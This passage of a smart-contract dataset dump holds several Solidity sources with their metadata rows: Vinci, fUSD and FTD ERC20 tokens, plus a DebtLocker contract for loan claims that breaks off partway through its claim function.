function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract StandardBurnableToken is BurnableToken, StandardToken {
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
/// @title Vinci token implementation
/// @author Mai Abha <maiabha82@gmail.com>
/// @dev Implements ERC20, ERC223 and MintableToken interfaces
contract VinciToken is StandardBurnableToken, RBACMintableTokenMixin, ERC223Mixin {
/// @notice Constant field with token full name
// solium-disable-next-line uppercase
string constant public name = "Vinci";
/// @notice Constant field with token symbol
string constant public symbol = "VINCI"; // solium-disable-line uppercase
/// @notice Constant field with token precision depth
uint256 constant public decimals = 18; // solium-disable-line uppercase
/// @notice Constant field with token cap (total supply limit)
uint256 constant public cap = 1500 * (10 ** 6) * (10 ** decimals); // solium-disable-line uppercase
/// @notice Overrides original mint function from MintableToken to limit minting over cap
/// @param _to The address that will receive the minted tokens.
/// @param _amount The amount of tokens to mint.
/// @return A boolean that indicates if the operation was successful.
function mint(address _to,
uint256 _amount)
public
returns (bool)
{
require(totalIssued_.add(_amount) <= cap, "Cap is reached");
return super.mint(_to, _amount);
}
}
| 147,205 | 12,293 |
6bb42bbccce7916331f34e9dc8d2e763589d523efc28ace00e5fc866cfa04e7c
| 22,990 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/1b/1bff871fD7B2F066E62dDaB6520cb10B4a5AD7C9_fUSD.sol
| 2,975 | 11,589 |
pragma solidity ^0.5.0;
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract MinterRole is Context {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(_msgSender());
}
modifier onlyMinter() {
require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(_msgSender());
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
contract PauserRole is Context {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(_msgSender());
}
modifier onlyPauser() {
require(isPauser(_msgSender()), "PauserRole: caller does not have the Pauser role");
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(_msgSender());
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
contract Pausable is Context, PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
contract ERC20Burnable is Context, ERC20 {
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract ERC20Mintable is ERC20, MinterRole {
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
_mint(account, amount);
return true;
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint256 addedValue) public whenNotPaused returns (bool) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint256 subtractedValue) public whenNotPaused returns (bool) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
contract fUSD is ERC20, ERC20Detailed, ERC20Mintable, ERC20Burnable, ERC20Pausable {
// create instance of the fUSD token
constructor () public ERC20Detailed("Fantom USD", "FUSD", 18) {
}
}
| 331,562 | 12,294 |
9dd8424f5e6ad611a55b719cbd75343126b6e7da91690d6293b11b384fc3f3a9
| 23,166 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/44/449D62e1e7Ca187727D147cCf827a9472D0Bfb14_FTD.sol
| 3,598 | 14,576 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b);
// There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
interface IERC20Metadata is IERC20 {
//
function name() external view returns (string memory);
//
function symbol() external view returns (string memory);
//
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from,
address to,
uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from,
address to,
uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
// decrementing then incrementing.
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner,
address spender,
uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
abstract contract ERC20Burnable is Context, ERC20 {
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
_spendAllowance(account, _msgSender(), amount);
_burn(account, amount);
}
}
contract FTD is ERC20Burnable,Ownable {
using SafeMath for uint256;
address private holder;
mapping(address => bool) public isTxFeeExempt;
mapping(address => bool) public isMarketPair;
mapping(address => bool) public isMarketRouter;
uint256 constant _baseFee = 100;
uint256 public _fee = 2;
//mainnet
address router = address(0xc873fEcbd354f5A56E00E710B90EF4201db2448d);
address public camelotPair;
modifier onlyHolder(){
require(msg.sender==holder,"FTD: INVALID");
_;
}
constructor() ERC20("FTD","FTD") {
holder = msg.sender;
isMarketRouter[address(router)] = true;
isTxFeeExempt[msg.sender] = true;
isTxFeeExempt[address(this)] = true;
_mint(msg.sender, 10000000 * 10 **18);
_approve(address(this), address(router), type(uint256).max);
}
function setTxFeeExempt(address[] memory _news,bool _state) external onlyHolder{
for(uint i=0;i<_news.length;i++){
isTxFeeExempt[_news[i]] = _state;
}
}
function setPair(address _new) external onlyHolder {
camelotPair = _new;
isMarketPair[address(camelotPair)] = true;
}
function setHolder(address _new) external onlyHolder{
holder = _new;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual override{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 finalAmount = takeFinalAmount(sender, recipient, amount);
super._transfer(sender,recipient,finalAmount);
}
function takeFinalAmount(address sender,
address recipient,
uint256 amount) internal returns (uint256) {
if (isTxFeeExempt[sender] || isTxFeeExempt[recipient]) {
return amount;
}
if (isMarketPair[recipient] ||
(isMarketPair[sender] || isMarketRouter[sender])) {
uint256 feeAmount = amount.mul(_fee).div(_baseFee);
amount = amount.sub(feeAmount);
super._transfer(sender,address(this),feeAmount);
_burn(address(this),feeAmount);
}
return amount;
}
function donateERC20(address tokenAddress, uint256 amount) external onlyHolder {
require(tokenAddress != address(0),'tokenAddress can not a Zero address');
IERC20 token = IERC20(tokenAddress);
token.transfer(holder,amount);
}
function donateBNB() external onlyHolder {
payable(holder).transfer(address(this).balance);
}
}
| 39,360 | 12,295 |
d965b3baad5df82e4ce8806ce3362783b2ff83f5c8772c1aa559b81f0cfee088
| 31,166 |
.sol
|
Solidity
| false |
606585904
|
plotchy/defi-detective
|
f48830b1085dac002283a2ce5e565e341aab5d0c
|
00byaddress/0002DC3f7ED6Fd8CdD283A72017353C0ee97cb0b.sol
| 4,578 | 17,882 |
// SPDX-License-Identifier: AGPL-3.0-or-later // hevm: flattened sources of contracts/DebtLocker.sol
pragma solidity =0.6.11 >=0.6.0 <0.8.0 >=0.6.2 <0.8.0;
////// contracts/token/interfaces/IBaseFDT.sol
interface IBaseFDT {
function withdrawableFundsOf(address owner) external view returns (uint256);
function withdrawFunds() external;
event FundsDistributed(address indexed by, uint256 fundsDistributed);
event FundsWithdrawn(address indexed by, uint256 fundsWithdrawn, uint256 totalWithdrawn);
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
////// contracts/token/interfaces/IBasicFDT.sol
interface IBasicFDT is IBaseFDT, IERC20 {
event PointsPerShareUpdated(uint256);
event PointsCorrectionUpdated(address indexed, int256);
function withdrawnFundsOf(address) external view returns (uint256);
function accumulativeFundsOf(address) external view returns (uint256);
function updateFundsReceived() external;
}
////// contracts/token/interfaces/ILoanFDT.sol
interface ILoanFDT is IBasicFDT {
function fundsToken() external view returns (address);
function fundsTokenBalance() external view returns (uint256);
}
////// contracts/interfaces/ILoan.sol
interface ILoan is ILoanFDT {
// State Variables
function liquidityAsset() external view returns (address);
function collateralAsset() external view returns (address);
function fundingLocker() external view returns (address);
function flFactory() external view returns (address);
function collateralLocker() external view returns (address);
function clFactory() external view returns (address);
function borrower() external view returns (address);
function repaymentCalc() external view returns (address);
function lateFeeCalc() external view returns (address);
function premiumCalc() external view returns (address);
function loanState() external view returns (uint256);
function collateralRequiredForDrawdown(uint256) external view returns (uint256);
// Loan Specifications
function apr() external view returns (uint256);
function paymentsRemaining() external view returns (uint256);
function paymentIntervalSeconds() external view returns (uint256);
function requestAmount() external view returns (uint256);
function collateralRatio() external view returns (uint256);
function fundingPeriod() external view returns (uint256);
function defaultGracePeriod() external view returns (uint256);
function createdAt() external view returns (uint256);
function principalOwed() external view returns (uint256);
function principalPaid() external view returns (uint256);
function interestPaid() external view returns (uint256);
function feePaid() external view returns (uint256);
function excessReturned() external view returns (uint256);
function getNextPayment() external view returns (uint256, uint256, uint256, uint256);
function superFactory() external view returns (address);
function termDays() external view returns (uint256);
function nextPaymentDue() external view returns (uint256);
function getFullPayment() external view returns (uint256, uint256, uint256);
// Liquidations
function amountLiquidated() external view returns (uint256);
function defaultSuffered() external view returns (uint256);
function amountRecovered() external view returns (uint256);
function getExpectedAmountRecovered() external view returns (uint256);
function liquidationExcess() external view returns (uint256);
// Functions
function fundLoan(address, uint256) external;
function makePayment() external;
function drawdown(uint256) external;
function makeFullPayment() external;
function triggerDefault() external;
function unwind() external;
// Security
function pause() external;
function unpause() external;
function loanAdmins(address) external view returns (address);
function setLoanAdmin(address, bool) external;
// Misc
function reclaimERC20(address) external;
}
////// lib/openzeppelin-contracts/contracts/math/SafeMath.sol
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
////// lib/openzeppelin-contracts/contracts/utils/Address.sol
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/SafeERC20.sol
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
////// contracts/DebtLocker.sol
/// @title DebtLocker holds custody of LoanFDT tokens.
contract DebtLocker {
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 constant WAD = 10 ** 18;
ILoan public immutable loan; // The Loan contract this locker is holding tokens for.
IERC20 public immutable liquidityAsset; // The Liquidity Asset this locker can claim.
address public immutable pool; // The owner of this Locker (the Pool).
uint256 public lastPrincipalPaid; // Loan total principal paid at last time claim() was called.
uint256 public lastInterestPaid; // Loan total interest paid at last time claim() was called.
uint256 public lastFeePaid; // Loan total fees paid at last time claim() was called.
uint256 public lastExcessReturned; // Loan total excess returned at last time claim() was called.
uint256 public lastDefaultSuffered; // Loan total default suffered at last time claim() was called.
uint256 public lastAmountRecovered; // Liquidity Asset (a.k.a. loan asset) recovered from liquidation of Loan collateral.
modifier isPool() {
require(msg.sender == pool, "DL:NOT_P");
_;
}
constructor(address _loan, address _pool) public {
loan = ILoan(_loan);
pool = _pool;
liquidityAsset = IERC20(ILoan(_loan).liquidityAsset());
}
// Note: If newAmt > 0, totalNewAmt will always be greater than zero.
function _calcAllotment(uint256 newAmt, uint256 totalClaim, uint256 totalNewAmt) internal pure returns (uint256) {
return newAmt == uint256(0) ? uint256(0) : newAmt.mul(totalClaim).div(totalNewAmt);
}
function claim() external isPool returns (uint256[7] memory) {
uint256 newDefaultSuffered = uint256(0);
uint256 loan_defaultSuffered = loan.defaultSuffered();
// of LoanFDTs in comparison to the total supply of LoanFDTs.
// Default will occur only once, so below statement will only be `true` once.
